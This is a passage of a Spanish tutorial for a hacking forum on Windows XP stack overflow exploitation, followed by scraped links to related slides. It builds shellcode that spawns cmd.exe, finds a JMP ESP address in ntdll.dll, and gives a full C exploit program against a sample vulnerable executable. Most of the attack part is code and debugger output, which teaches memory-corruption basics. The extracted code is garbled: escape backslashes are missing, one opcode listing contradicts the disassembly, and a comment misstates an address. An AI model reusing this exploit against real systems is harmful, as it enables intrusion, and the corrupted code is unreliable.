system ("cmd.exe"); // ejecuta el comando "cmd.exe", con lo que sale una shell
MSDOS.
También podíamos haber usado WinExec() en vez de system, o incluso
CreateProcess() eso se lo dejamos a cada uno que pruebe :)
Bien, como ya he dicho, llamar a system, como una función cualquiera, en ASM,
seria así:
push 0 --> en realidad, system se llama así: system("cmd.exe0"), con un null
(0) para delimitar el final de la cadena "cmd.exe"
push dirección_cadena_cmd --> system realmente se llama así: system(dirección
del comando)
call system --> offset de system en la msvcrt.dll
Bien, tenemos que conseguir 3 cosas:
1º- Meter un NULO (NULL -> 0x00, 0) en la pila, para delimitar el fin de cadena
de cmd.exe--> "cmd.exe00". Esto nos puede acarrear problemas con strcpy, si
strcpy detecta un 0 en una cadena, deja de copiar el resto de la cadena.
Cualquier función que trabaje con cadenas, un 0, un 0x00, un x00 lo interpreta
como fin de cadena (aunque luego haya mas cosas, las ignora)
2º- Necesitamos meter "cmd.exe" en la pila (push 'c', push 'm', push 'd', push
'.', etc...), y luego saber su dirección en la propia pila, para pasársela a
System() como argumento.
3º- Necesitamos la dirección de la función System() en la DLL msvcrt.dll
Así que iremos punto por punto para hacer nuestra shellcode básica :)
-== COMO HACER UNA SHELLCODE BASICA ==-
1º El tema del nulo (null)
Pongamos este ejemplo, en codigo C:
char buffer[10]; //declaramos un array de 10bytes
char cadena[10]= "lola0wop"; //declaramos otro que contiene ese string.
strcpy (buffer, cadena) // copiamos cadena dentro de buffer.
Strcpy() solo copiara "lola" en buffer, ya que ha detectado un 0 (NULL), que
significa FIN DE CADENA.
Así que no puede haber nulos en la shellcode (0x00), ni, opcionalmente, retornos
de carro (0x0D), así como "mas cosas" según lo que acepte el programa
vulnerable. Un programa que tiene un overflow al abrir un archivo de Windows
muy largo tendrá la dificultad que la shellcode no podrá contener caracteres que
Windows no permite en los nombres de fichero, por ejemplo.
¿Como la hacemos para que no haya nulos en los opcodes, pero si en la pila?
Muy fácil, usando la función XOR (OR exclusivo).
Cuando a un valor se le hace un XOR consigo mismo, da 0. Si quereis mas
información sobre XOR (y sus diversas funciones respecto a una shellcode, muy
interesantes, como al encriptación XOR que se empezo a usar en virus...) google
:)
xor edi,edi <-- He usado EDI por ejemplo... EDI será igual a 00000000.
push edi <--- Metemos 00000000 en la pila
Ya tenemos un "0" en la pila, pero los opcodes de XOR EDI, EDI y PUSH EDI en
hexadecimal no contienen ningún 0 en hexadecimal, perfecto :)
2º- Necesitamos meter "cmd.exe" en la pila y saber la dirección del inicio de la
cadena "cmd.exe" en la pila.
sub esp,04h <--- "sustrae" a ESP 04h bytes, con lo que apuntara "mas arriba",
dejándonos 4bytes mas para meter cmd.exe (ya teniamos 4bytes, ahora 8bytes)
mov byte ptr [ebp-08h],63h <-- Mete 'c' en hexadecimal en ebp-8bytes
mov byte ptr [ebp-07h],6Dh <-- Mete 'm' en ebp -7
mov byte ptr [ebp-06h],64h <-- Mete 'd' en ebp -6
mov byte ptr [ebp-05h],2Eh <-- Mete '.' en ebp -5
mov byte ptr [ebp-04h],65h <-- Mete 'e' en ebp -4
mov byte ptr [ebp-03h],78h <-- Mete 'x' en ebp -3
mov byte ptr [ebp-02h],65h <-- Mete 'e' en ebp -2
lea eax,[ebp-08h] <--- cargamos en eax, la dirección (NO el valor) de ebp-08,
que apunta a nuestra 'c', el inicio de cmd.exe
push eax <-- Metemos la dirección de 'cmd.exe' en la pila
Utilizamos direcciones "relativas" como ebp-7bytes, para que la shellcode sea
bastante reutilizable. Las direcciones de la pila son muy variables, con lo que
no conviene usar direcciones absolutas. De todas formas, alguna dirección
absoluta usamos :P Ya lo veremos.....
Ya están la cadena cmd.exe00 en la pila, solo necesitamos la dirección de system()
3º- dirección de System() en la DLL msvcrt.dll
Esta dirección (u offset) variara debido a la versión (Win2k, Win XP, etc..) así
como a los service packs instalados, lenguaje del SO y cualquier otra cosa que
modifique las DLLs del sistema (puede ocurrir que dos personas tengan el
mismo SO, los mismos SPs, el mismo lenguaje, etc... y las DLLs sean distintas).
Se puede crear una shellcode (no es muy difícil, hay varios métodos) que no se
sirva de ninguna dirección "harcodeada" (es decir, dirección fija) pero no
lo trataremos aquí ya que esto se alargaría bastante, además de que solo
tratamos de crear una shellcode simple y que funcione. De todas formas, saber
que la dirección de system (y de cualquier otra API) se puede sacar en tiempo de
ejecución, haciendo la shellcode completamente universal.
Se puede buscar dicho offset de system() "a mano" con un debugger, simplemente
creando por ejemplo un código C donde se llame a system() y luego en el
debugger, ver a donde apunta el Call msvcrt.system.
Pero, como soy vago :) He medio codeado un mini programa que te dice el offset
de cualquier función en cualquier dll.
Lo podéis encontrar aquí:
http://foro.elhacker.net/index.php/topic,56137.0.html
Pero por si no lo queréis buscar, os pongo el código C:
#include <stdio.h>
#include <windows.h>
typedef VOID (*MYPROC)(LPTSTR);
int main (int argc, char **argv) {
char dll[100];
char función[100];
HINSTANCE libreria;
MYPROC procadd;
printf ("Busca offsets xDD. Introduce como primer argumento el nombre de la
DLL,n");
printf ("y como segundo argumento la función dentro de esa DLLn");
printf ("Por ejemplo %s msvcrt.dll systemnn", argv[0]);
if (argc != 3){
printf ("Introduce 2 argumentos como se explica mas arriba!!!n");
return 1;
}
memset(dll,0,sizeof(dll));
memset(funcion,0,sizeof(funcion));
memcpy (dll, argv[1], strlen(argv[1]));
memcpy (funcion, argv[2], strlen(argv[2]));
libreria = LoadLibrary(dll);
procadd = (MYPROC)GetProcAddress (libreria,funcion);
printf ("Offset de %s en la DLL %s es %x", funcion, dll, procadd);
return 0;
}
Ojo, después de codearlo, me dado cuenta que hay varios códigos por ahí que
hacen lo mismo, además de que cualquier programador que haya trabajado con APIs
de Windows, sabe hacer este código. Simplemente me lo he codeado, por codear
xDDD.
Al lio, una vez sacado el offset, en un Windows XP SP1 es 77bf8044. Ya tenemos
el offset :)
mov ebx,0x77bf8044 <-- Metemos en ebx el valor del offset de system, en un Win
XP SP1 es 77bf8044
call ebx <-- Llamamos a system y ejecuta nuestra shellcode :)
Nota: no se puede hacer directamente un call 0x77bf8044, hay que guardarlo en un
registro, y luego llamar al registro.
Veamos el código completo de la shellcode, dentro de un código C. Lo metemos en
un código C para poder probarlo (en vez de buscar un compilador como NASM o
TASM) ya que es mas "fácil". Además, tenemos que "cargar" la librería
msvcrt.dll en este mini programita, ya que nos valemos de ella para llamar a
system. Si no la cargáramos, al tratar de ejecutar la shellcode, como msvcrt.dll
no esta en la tabla de importaciones del ejecutable, no la podríamos usar.
Normalmente, los programas vulnerables que "petemos" cargaran numerosas
librerías, con lo que nos podremos valer de ellas.
Y aunque no cargaran ninguna, tiene que cargar por fuerza kernel32.dll y
ntdll.dll (las cargan todos los ejecutables), y a través de kernel32.dll podemos
buscar los offsets de LoadLibrary (para cargar la librería DLL que queramos) así
como GetProcAddress(para saber la dirección de la función o API dentro de la
librería cargada).Todo esto a través de la shellcode, así es como se realizan
las shellcodes "universales". Pero eso se sale de una shellcode "simple", así
que no lo trataremos.
Bien, este es el código C:
#include <stdio.h>
#include <windows.h>
int main () {
LoadLibrary("msvcrt.dll");
__asm{
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77bf8044
call ebx
}
}
Este código NO FUNCIONA en el compilador Dev Cpp, ya que Dev Cpp trabaja con ASM
AT&T, mucho mas complicado y coñazo (para mi), lo tendréis que compilar en
VISUAL C++ o otro equivalente que trabaje con ASM Intelx86.
Las instrucciones:
push ebp
mov ebp,esp
Sirven para "crear" y mantener un espacio en la pila para nuestras variables. En
este caso es necesario, pero es más que probable que en un exploit "real" no lo
necesitemos, ya que el programa que tratemos de explotar tendrá la pila
lista para introducir nuestra shellcode. Lo único que hace es salvar el ebp
actual, y crear una nueva "pila" al mover el valor de esp en ebp.
Si lo compilamos, y ejecutamos el exe, veremos que el programa funciona :) Sale
una shell MSDOS.
Bien, pero ¿como "metemos" esta shellcode en el programa vulnerable?
A través de sus opcodes hexadecimales, la "conversión" de instrucción ASM a
hexadecimal. Esto ya lo vimos al meter en el olly el programita vuln1.exe:
004012CD |. 68 80124000 PUSH vuln1.00401280 ; /format =
"Introduzca un argumento al programa"
004012D2 |. E8 79170000 CALL <JMP.&msvcrt.printf> ; printf
004012D7 |. 83C4 10 ADD ESP,10
004012DA |. EB 17 JMP SHORT vuln1.004012F3
004012DC |> 83EC 08 SUB ESP,8
004012DF |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C]
004012E2 |. 83C0 04 ADD EAX,4
004012E5 |. FF30 PUSH DWORD PTR DS:[EAX] ; /src
004012E7 |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] ; |
004012EA |. 50 PUSH EAX ; |dest
004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> ; strcpy
004012F0 |. 83C4 10 ADD ESP,10
Por ejemplo, veis que el "opcode" de un PUSH EAX es '50', o que el de un SUB
ESP,8 es '83EC 08'.
Para ver los opcodes de nuestra shellcode hay varios métodos, pero vamos, lo mas
fácil es meterla en el Olly, y verlos directamente, y copiarlos en una libreta
(al menos así lo hago yo con shellcodes cortas :P). Se explican en numerosos
documentos (entre ellos, en documentos de ezines españolas muy recomendables de
leer..., por ejemplo en uno de RaiSe de Net-Search) como hacer programitas que
lean los opcodes, y te los printeen por pantalla ordenaditos y tal, pero yo
lo haré a mano :)
Obviamente, todo lo que "sale" por el olly no es nuestra shellcode, son
instrucciones que añade el compilador para que funcione perfectamente,
compatibilidad msdos, control básico de errores, etc..... Si queremos buscar
nuestra shellcode dentro del ejecutable, podemos hacerlo de varias maneras...
Yo la que he usado, mas cómoda, es mirar la tabla de string references, la tabla
donde se guardan las cadenas de texto y ver donde esta "msvcrt.dll" (es una
cadena de texto introducida por nosotros en el programa), clickear 2 veces, y me
lleva directamente al código del LoadLibrary ("msvcrt.dll"). Para ver las string
references, clik botón derecho, Search for -> All refenced strings. Abajo del
todo (en mi caso) estaba msvcrt.dll.
También podemos hacerlo buscando una instrucción de nuestra shellcode (por
ejemplo, 83EC 04, SUB ESP,4) o simplemente corriendo el programa paso a paso
(algo lento :P).
Bueno, vamos al código (al hacer lo de string references):
0040B4DA |. 68 3CFF4100 PUSH OFFSET pruebash.??_C@_0L@CMOK@msvcr>; /FileName
= "msvcrt.dll"
0040B4DF |. FF15 5C414200 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>;
LoadLibraryA
0040B4E5 |. 3BF4 CMP ESI,ESP
0040B4E7 |. E8 845BFFFF CALL pruebash.__chkesp
0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra
shellcode
0040B4ED |. 8BEC MOV EBP,ESP
0040B4EF |. 33FF XOR EDI,EDI
0040B4F1 |. 57 PUSH EDI
0040B4F2 |. 83EC 04 SUB ESP,4
0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63
0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D
0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64
0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E
0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65
0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78
0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65
0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
0040B514 |. 50 PUSH EAX
0040B515 |. BB 4480BF77 MOV EBX,77BF8044
0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode
0040B51C |. 5F POP EDI
0040B51D |. 5E POP ESI
0040B51E |. 5B POP EBX
0040B51F |. 83C4 40 ADD ESP,40
0040B522 |. 3BEC CMP EBP,ESP
0040B524 |. E8 475BFFFF CALL pruebash.__chkesp
0040B529 |. 8BE5 MOV ESP,EBP
0040B52B |. 5D POP EBP
0040B52C . C3 RETN
"Caemos" justo arriba, en FileName=msvcrt.dll. Y ya vemos nuestra shellcode, y
vemos que el compilador ha añadido instrucciones por debajo y por arriba (lo
dicho, compatibilidad, control de excepciones, salida del programa, etc..),
pero no nos importa. Aquí esta la shellcode:
0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra shellcode
0040B4ED |. 8BEC MOV EBP,ESP
0040B4EF |. 33FF XOR EDI,EDI
0040B4F1 |. 57 PUSH EDI
0040B4F2 |. 83EC 04 SUB ESP,4
0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63
0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D
0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64
0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E
0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65
0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78
0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65
0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
0040B514 |. 50 PUSH EAX
0040B515 |. BB 4480BF77 MOV EBX,77BF8044
0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode
Y vemos los opcodes, los copiamos a una libreta a mano, o un Copy-Paste a un
archivo de texto, o usamos algun programa que nos la printee por pantalla.
Deberíamos tener algo así:
55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF
D3
Estos son los opcodes. Si os fijáis, veréis que esta la dirección del offset de
System() (77BF8044) pero AL REVES.
Esto es debido a que la arquitectura de nuestros Intelx86 o derivados (AMD,
etc...) es LITTLE ENDIAN. A no ser que dispongamos de un Alpha o un Sparc en
casa, nos manejaremos en Little Endian a la hora de direcciones y offsets.
Simplemente, para no enrollarme, al meter un offset, lo tenéis que meter "al
revés". Si queréis mas información, google -> little endian :)
Bien, tenemos los opcodes de nuestra shellcode :). Sabemos que por ejemplo A =
41h (41 hexadecimal, si fuera 41d, seria 41 en decimal), con lo que un 50h = P o
6Dh = m, pero hay otros que están fuera de la tabla ASCII, y además, meter así
los opcodes es un coñazo, y que nadie lo hace xD.
Pero... ¿como sabemos la dirección del inicio de la shellcode para poder
sobrescribir EIP con su valor? ¿Como haremos para que el programa funcione
siempre si las direcciones de la pila varían? ¿Y como le pasamos al programa
vulnerable la shellcode?
-== CREANDO EL EXPLOIT ==-
Vamos a crear el exploit :)
- ¿Como sabemos la dirección del inicio de la shellcode para sobrescribir EIP
con su valor?
Para saber donde sobrescribimos EXACTAMENTE EIP, es decir, donde meter la
dirección de la shellcode, usaremos una técnica especial xDDDD. En vez de mandar
al programa AAAAAAAAAAAAAAAs... a mogollón, le mandaremos
AAAABBBBCCCCDDDD....
Así sabremos donde exactamente sobrescribe el RET, para así poder cambiarlo por
la dirección de la shellcode.
Si le metemos al programa esto (a través del Olly, Arguments) AAABBBBCCCCDDDD...
Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro
del buffer, donde debe ir la dirección de la shellcode que "cojera" EIP y
ejecutara nuestra shellcode.
- ¿Como haremos que el programa funcione siempre si las direcciones de la pila
varían?
Si metiéramos directamente la dirección de la shellcode en la pila (una
dirección del tipo 0022XXXX), tendríamos 2 problemas:
La pila cambia muchísimo según las aplicaciones que estén en ejecución, y mas
aun cambiara en otros sistemas, con lo que no funcionara salvo en nuestro propio
ordenador.
Y el otro problema, es que en la pila las direcciones contienen un 00 -->
0022XXXX (a diferencia de Linux) con lo que no podemos hardcodear la dirección
de la pila.
Pero si habéis visto lo anterior, la prueba de AAAABBBBCCCCDDDD... (hacedlo de
nuevo), fijaos en la pila cuando se produce la excepción:
0022FF74 54545454 <- EIP ha tratado de ejecutar lo que hay en la dirección
54545454 (EIP = 54545454)
0022FF78 55555555 <- ESP= 0022FF78
0022FF7C 56565656
Si os fijáis, EIP ha cogido el valor de 54545454, pero ESP apunta a 55555555.
¿No os da una idea?
Si consiguiéramos que EIP "saltara" a una dirección de memoria que contuviera un
JMP ESP (salto a ESP) o un CALL ESP (llamada a ESP) y en vez de tener 55555555
tuviéramos los opcodes de nuestra shellcode, SE EJECUTARIA NUESTRA SHELLCODE!!!!
Vamos paso a paso :)
En vez de 54545454 hay una dirección de una instrucción de un JMP ESP. EIP
cogería esa dirección, ejecutaría el JMP ESP, y "caería" donde apunta ESP, es
decir, en 55555555, que lo cambiaríamos por nuestra shellcode, por lo que se
ejecutaría.
Y como buscamos una dirección de un JMP ESP o un CALL ESP? En una DLL que cargue
el programa vulnerable, con FINDJMP, un programita realmente útil. Dicho
programita, buscara en la DLL que le digamos, instrucciones referidas al
registro que queramos. El findjmp lo encontrareis en el foro de elhacker.net :)
Por ejemplo, como ya he dicho, todo programa ejecutable carga kernel32.dll y
ntdll.dll, aunque también podríamos usar cualquier librería que cargara el
programa ejecutable (para ver eso, podemos cargar el programa vulnerable en el
Ollydbg, y ver los EXECUTABLE MODULES, y ahí vienen las DLLs que carga).
Si usáramos el findjmp así:
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
F:Rojodos>findjmp kernel32.dll esp
Scanning kernel32.dll for code useable with the esp register
0x77E81941 call esp
Finished Scanning kernel32.dll for code useable with the esp register
Found 1 usable addresses
Vemos que solo hay una instrucción que use el registro ESP, y es un CALL ESP,
preferimos mejor un JMP ESP (un call siempre guarda en la pila, como ya dije, su
instrucción anterior, y eso nos puede fastidiar la shellcode....).
Mejor buscamos un JMP ESP:
Microsoft Windows XP [Versión 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
F:Rojodos>findjmp ntdll.dll esp
Scanning ntdll.dll for code useable with the esp register
0x77F7AC16 call esp
0x77F8980F jmp esp
Finished Scanning ntdll.dll for code useable with the esp register
Found 2 usable addresses
Ya tenemos un JMP ESP en la librería ntdll.dll, en el offset 0x77F8980F.
Esto es en mi Windows XP SP1, el offset cambiara según versiones del Windows,
SP, lenguajes...
En Linux no se hace así, no se llama a un JMP ESP, si no que se usa, en la forma
BÁSICA de explotación, NOPs (instrucciones ASM que NO EJECUTAN NADA, simplemente
pasan a la siguiente instrucción), offsets aproximados de direcciones de la
pila, y un bruteforce... Eso, si hay ganas, se hará otro manual, pero para
explotación en sistemas Linux si que hay mucha mas documentación, y en español
incluso.
- Como le pasamos al programa la shellcode
Ya tenemos la dirección del JMP ESP, es decir, sabemos con que valor tenemos que
sobrescribir el RET para que se ejecute el programa. Solo nos queda precisamente
enviarle al programa vulnerable AAAABBBB...SSSS (para llenar el buffer)
+ offset JMP ESP + shellcode.
¿Como lo hacemos?
El programa vulnerable recibe los datos que hacen el overflow a través de la
línea de comandos, de sus argumentos.
Podríamos pasarle la shellcode en caracteres printeables por los argumentos,
pero eso es un coñazo, porque primero tendríamos que convertir esos opcodes a su
equivalente en la tabla ASCII (algunos no están :P) y luego copy paste... no no,
mejor que no.
Mejor nos codeamos un "exploit" en C, que llamara al programa pasándole los
datos de la shellcode por parámetro, así nos libramos de convertir los opcodes.
De todas formas, en el programa incluiré un printf() para que veáis como son.
/* exploit_vuln1.c por Rojodos */
#include <stdio.h> // Entrada/Salida
#include <stdlib.h> // execv()
int main (int argc,char **argv) { //Declaramos argv para usarlo con el execv
char
evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMM
MNNNN"
"OOOOPPPPQQQQRRRRSSSS"; //Para llegar el buffer y llegar al ret
char shellcode[]="x55x8BxECx33xFFx57x83xECx04xC6x45xF8x63"
"xC6x45xF9x6DxC6x45xFAx64xC6x45xFBx2ExC6x45xFCx65xC6x45xFD"
"x78xC6x45xFEx65x8Dx45xF8x50xBBx44x80xBFx77xFFxD3";
//Shellcode que ejecuta system("cmd.exe"), con la llamada a system
harcodeada
//en x44x80xBFx77 0x77BF9044
char offset[]="x0Fx98xF8x77"; // Offset jmp esp ntdll32.dll WinXP SP1
Esp
strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la
shellcode
printf ("Cadena + offset + shellcode en formato printablenn");
printf ("%s", evilbuffer);
argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de
vuln1
argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
execv ("vuln1.exe",argv); //Ejecutamos vuln1.exe pasándole evilbuffer como
argumento
}
Nota para los programadores :P Tendría que haber creado una estructura de
punteros para usarlo en el execv, pero me he valido de argv[] para no marear las
cosas, por simplicidad. Espero que no me cuelgen por eso :P
Este exploit compila perfectamente en Dev Cpp, y *debería* compilar en cualquier
otro compilador de Windows (y de Linux). La única función que podría dar
problemas es execv, pero en teoría es compatible con Windows, no creo
que haya ningún problema. No lo he probado en más compiladores.
Al compilarlo, y crear exploit_vuln1.exe, si lo ejecutamos, saltara una shell
MSDOS :)
Hemos explotado con éxito el programa vuln1.exe, a través del programa
exploit_vuln1.exe. :P
Espero que os haya gustado el documento, y que os ayude a, primero, entender los
stack overflows, y luego, a crear vuestros propios exploits básicos. La mejor
forma de aprender, aparte de leer docs y mas docs, es programando, programando y
mas programando :)
Los dos exploits públicos que he escrito, el del Winamp 5.08 Stack Overflow y el
de Acrobat Reader 6.0.1 Stack Overflow están basados en este documento.
Cualquiera que lea y comprenda este documento, podría haber creado dichos
exploits. Así que como veis, no tiene ningún misterio :)
No dejéis de practicar, y cualquier pregunta será mejor que recibida en el foro
de elhacker.net.
-== DOCUMENTACION ==-
Documentos importantes mucho mejor redactados y completos que el mío :P
(exploits y stack overflows en Windows o shellcoding en general). Hay MUCHOS
más, pero estos son los que he considerado importantes :)
Gran Recopilación de textos sobre el tema, por Griph:
http://foro.elhacker.net/index.php/topic,49765.0.html
Phrack. Win32 Buffer Overflows
http://www.phrack.org/phrack/55/P55-15
Phrack. Avances en Windows Shellcoding
http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt
NetSearch. Shellcodes + Overflows Win32 (1)
http://www.hackemate.com.ar/ezines/netsearch/ns007/ns7-0x03.txt
NetSearch. Shellcodes + Overflows Win32 (2)
http://www.hackemate.com.ar/ezines/netsearch/ns007/ns7-0x04.txt
Introducción al shellcoding (Linux)
http://tigerteam.se/dl/papers/intro_to_shellcoding.pdf
Lastima de Phrack :(
Y por supuesto, buscar tanto por la web como por el foro de elhacker.net :)
Y si no, google!
-== AGRADECIMIENTOS ==-
Hecho para el foro de elhacker.net :)
http://foro.elhacker.net
Aún así, se permite la distribución del texto en cualquier sitio web, pero
haciendo referencia en los créditos al autor, en este caso, yo, Rojodos.
Agradecimientos a todos los colaboradores y moderadores, y al administrador,
aprendiendo cada día de ellos :)
A todos los españoles que colaboran en la seguridad y el hacking, a NetSearch,
7a69, SET, 29A, Cyruxnet, Hackxcrack, y a cualquier persona en el mundo que se
interese y escriba sobre la seguridad informática, que nos aporte lo que ha
aprendido e investigado :)
Abstracto es mas tonto de lo que aparenta, que ya es decir xDDDDDDDDDDDDDD (no
podía dejar de ponerlo xDD)
Y a ELLA, Ishtar :)
Rojodos - rojodos2[at]yahoo[dot]es
_EOF_

Más contenido relacionado

La actualidad más candente

Clase10 ejemplos asm con tasm y tlink
Clase10 ejemplos asm con tasm y tlinkClase10 ejemplos asm con tasm y tlink
Clase10 ejemplos asm con tasm y tlinkInfomania pro
 
Programacion Lenguaje Assembler 25 10 07
Programacion Lenguaje Assembler 25 10 07Programacion Lenguaje Assembler 25 10 07
Programacion Lenguaje Assembler 25 10 07Carlos Pastorino
 
Introduccion al assembler
Introduccion al assemblerIntroduccion al assembler
Introduccion al assemblerangel
 
92735903 tutorial emu8086c0112
92735903 tutorial emu8086c011292735903 tutorial emu8086c0112
92735903 tutorial emu8086c0112Marco Choque
 
Uso de las clases iostream
Uso de las clases iostreamUso de las clases iostream
Uso de las clases iostreamTensor
 
Arduino programacion
Arduino programacionArduino programacion
Arduino programacionUriel Alzate
 
Arduino programing notebook_es
Arduino programing notebook_esArduino programing notebook_es
Arduino programing notebook_esfitomasterman
 
Unidad 2 ensamblador
Unidad 2   ensambladorUnidad 2   ensamblador
Unidad 2 ensambladoreveTalavera
 
Administracion de-sistemas-operativos apuntes-v2-4
Administracion de-sistemas-operativos apuntes-v2-4Administracion de-sistemas-operativos apuntes-v2-4
Administracion de-sistemas-operativos apuntes-v2-4Juan Timoteo Cori
 

La actualidad más candente (13)

Clase10 ejemplos asm con tasm y tlink
Clase10 ejemplos asm con tasm y tlinkClase10 ejemplos asm con tasm y tlink
Clase10 ejemplos asm con tasm y tlink
 
Programacion Lenguaje Assembler 25 10 07
Programacion Lenguaje Assembler 25 10 07Programacion Lenguaje Assembler 25 10 07
Programacion Lenguaje Assembler 25 10 07
 
Introduccion al assembler
Introduccion al assemblerIntroduccion al assembler
Introduccion al assembler
 
92735903 tutorial emu8086c0112
92735903 tutorial emu8086c011292735903 tutorial emu8086c0112
92735903 tutorial emu8086c0112
 
Tasm
TasmTasm
Tasm
 
Uso de las clases iostream
Uso de las clases iostreamUso de las clases iostream
Uso de las clases iostream
 
Arduino programacion
Arduino programacionArduino programacion
Arduino programacion
 
Arduino programing notebook_es
Arduino programing notebook_esArduino programing notebook_es
Arduino programing notebook_es
 
NASM
NASM NASM
NASM
 
Unidad 2 ensamblador
Unidad 2   ensambladorUnidad 2   ensamblador
Unidad 2 ensamblador
 
Administracion de-sistemas-operativos apuntes-v2-4
Administracion de-sistemas-operativos apuntes-v2-4Administracion de-sistemas-operativos apuntes-v2-4
Administracion de-sistemas-operativos apuntes-v2-4
 
Python básico I
Python básico IPython básico I
Python básico I
 
C++
C++ C++
C++
 

Similar a Exploits y stack overflows en windows 2017

Quasi - scripts-linux
Quasi - scripts-linuxQuasi - scripts-linux
Quasi - scripts-linuxdegarden
 
Semana 9 -_standard_io_and_pipes
Semana 9 -_standard_io_and_pipesSemana 9 -_standard_io_and_pipes
Semana 9 -_standard_io_and_pipesvictdiazm
 
Principios de la programación.
Principios de la programación.Principios de la programación.
Principios de la programación.David Menjivar
 
Lenguaje Ensamblador00
Lenguaje Ensamblador00Lenguaje Ensamblador00
Lenguaje Ensamblador00Car_00_01
 
Lenguaje ensamblador
Lenguaje ensambladorLenguaje ensamblador
Lenguaje ensambladorCar_00_01
 
Clase 2 GuiaPractica.pdf
Clase 2 GuiaPractica.pdfClase 2 GuiaPractica.pdf
Clase 2 GuiaPractica.pdfodryemeliGomez
 
CREACION DE DLL Y USO (Ejemplo desarrollado)
CREACION DE DLL Y USO (Ejemplo desarrollado)CREACION DE DLL Y USO (Ejemplo desarrollado)
CREACION DE DLL Y USO (Ejemplo desarrollado)Darwin Durand
 
Lenguaje C para Administradores de Red / Script III - Memoria
Lenguaje C para Administradores de Red / Script III - MemoriaLenguaje C para Administradores de Red / Script III - Memoria
Lenguaje C para Administradores de Red / Script III - Memoriasirfids
 
Tutorial shell scripts
Tutorial shell scriptsTutorial shell scripts
Tutorial shell scriptsScreenMedia
 
Programacinenshell linux
Programacinenshell linuxProgramacinenshell linux
Programacinenshell linuxusupr2014
 
Exposición ted
Exposición tedExposición ted
Exposición tedCOVAEV
 
Historia de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan SaccoHistoria de los buffer overflows por Juan Sacco
Historia de los buffer overflows por Juan SaccoJuan Sacco
 

Similar a Exploits y stack overflows en windows 2017 (20)

Quasi - scripts-linux
Quasi - scripts-linuxQuasi - scripts-linux
Quasi - scripts-linux
 
Script Linux
Script LinuxScript Linux
Script Linux
 
Semana 9 -_standard_io_and_pipes
Semana 9 -_standard_io_and_pipesSemana 9 -_standard_io_and_pipes
Semana 9 -_standard_io_and_pipes
 
Principios de la programación.
Principios de la programación.Principios de la programación.
Principios de la programación.
 
Mipag web
Mipag webMipag web
Mipag web
 
17 comandos basicoslinuxasoitson
17 comandos basicoslinuxasoitson17 comandos basicoslinuxasoitson
17 comandos basicoslinuxasoitson
 
Lenguaje Ensamblador00
Lenguaje Ensamblador00Lenguaje Ensamblador00
Lenguaje Ensamblador00
 
Lenguaje ensamblador
Lenguaje ensambladorLenguaje ensamblador
Lenguaje ensamblador
 
Clase 2 GuiaPractica.pdf
Clase 2 GuiaPractica.pdfClase 2 GuiaPractica.pdf
Clase 2 GuiaPractica.pdf
 
CREACION DE DLL Y USO (Ejemplo desarrollado)
CREACION DE DLL Y USO (Ejemplo desarrollado)CREACION DE DLL Y USO (Ejemplo desarrollado)
CREACION DE DLL Y USO (Ejemplo desarrollado)
 
Curso MATLAB
Curso MATLABCurso MATLAB
Curso MATLAB
 
Lenguaje C para Administradores de Red / Script III - Memoria
Lenguaje C para Administradores de Red / Script III - MemoriaLenguaje C para Administradores de Red / Script III - Memoria
Lenguaje C para Administradores de Red / Script III - Memoria
 
Tutorial shell scripts
Tutorial shell scriptsTutorial shell scripts
Tutorial shell scripts
 
Archivo power
Archivo powerArchivo power
Archivo power
 
Lenguaje Ensamblador
Lenguaje EnsambladorLenguaje Ensamblador
Lenguaje Ensamblador
 
LENGUAJE ENSAMBLASOR
LENGUAJE ENSAMBLASORLENGUAJE ENSAMBLASOR
LENGUAJE ENSAMBLASOR
 
Programacinenshell linux
Programacinenshell linuxProgramacinenshell linux
Programacinenshell linux
 
Linux Programacion en Shell
Linux Programacion en ShellLinux Programacion en Shell
Linux Programacion en Shell
 
Exposición ted
